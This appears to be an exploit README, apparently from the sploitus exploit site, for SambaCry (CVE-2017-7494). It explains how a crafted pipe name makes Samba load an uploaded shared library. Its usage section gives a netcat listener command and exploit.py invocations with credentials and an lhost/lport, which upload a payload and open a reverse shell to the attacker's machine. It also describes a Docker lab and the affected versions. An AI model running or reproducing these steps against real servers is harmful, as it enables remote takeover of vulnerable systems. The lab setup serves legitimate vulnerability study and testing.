## https://sploitus.com/exploit?id=C0C324E1-2430-57A2-B02B-C3228B48F665
# SambaCry (CVE-2017-7494) Exploit
CVE-2017-7494/SambaCry allows authenticated users to upload a shared library to a writeable folder, and perform execution attack using the upload libraries.
# Vulnerability explanation
SambaCry is a path-validation vulnerability in how Samba handles named-pipe requests.
Usually those pipes are used to let programs communicate with each other by reading and writing data through a file-like channel.
When Samba receives an unknown pipe name, vulnerable versions may treat it as the name of a dynamically loadable module.
Those modules are usually a legitimate `.so` libraries installed by the administrator.
The vulnerability allows a client to provide an absolute filesystem path instead of a normal module or pipe name. Samba does not properly restrict this path and may effectively perform: ``dlopen("/data/example.so", ...);``.
Loading a shared library executes its initialization code. Therefore, an attacker who can upload a malicious `.so` file to a writable location can then make the Samba service load it, resulting in remote code execution.
## Demo
https://github.com/user-attachments/assets/270c6725-708d-4e72-996a-b6c40e77f010
## Usage
1. Initialize a listener:
```bash
nc -lvnp 4444
```
2. Execute the complete process
```bash
python3 exploit.py --url //127.0.0.1/data --target 127.0.0.1 --port 1445 --user sambacry --password nosambanocry --lhost 172.26.242.223 --lport 4444 --remote-path /data/payload.so
```
To trigger an already uploaded payload:
```bash
python3 exploit.py --stages trigger --target 127.0.0.1 --port 1445 --user sambacry --password nosambanocry --remote-path /data/payload.so
```
3. In the listener's terminal. A shell should appear.
## Lab Environment
Using the pre-made `docker-compose.yml` to initialize the vulnerable lab.
```bash
docker compose up -d
```
The lab uses Samba `4.5.9`. Which is vulnerable by the vulnerability
## Affected versions
**3.5.0 - 4.4.13**
**4.5.0 - 4.5.9**
**4.6.0 - 4.6.3**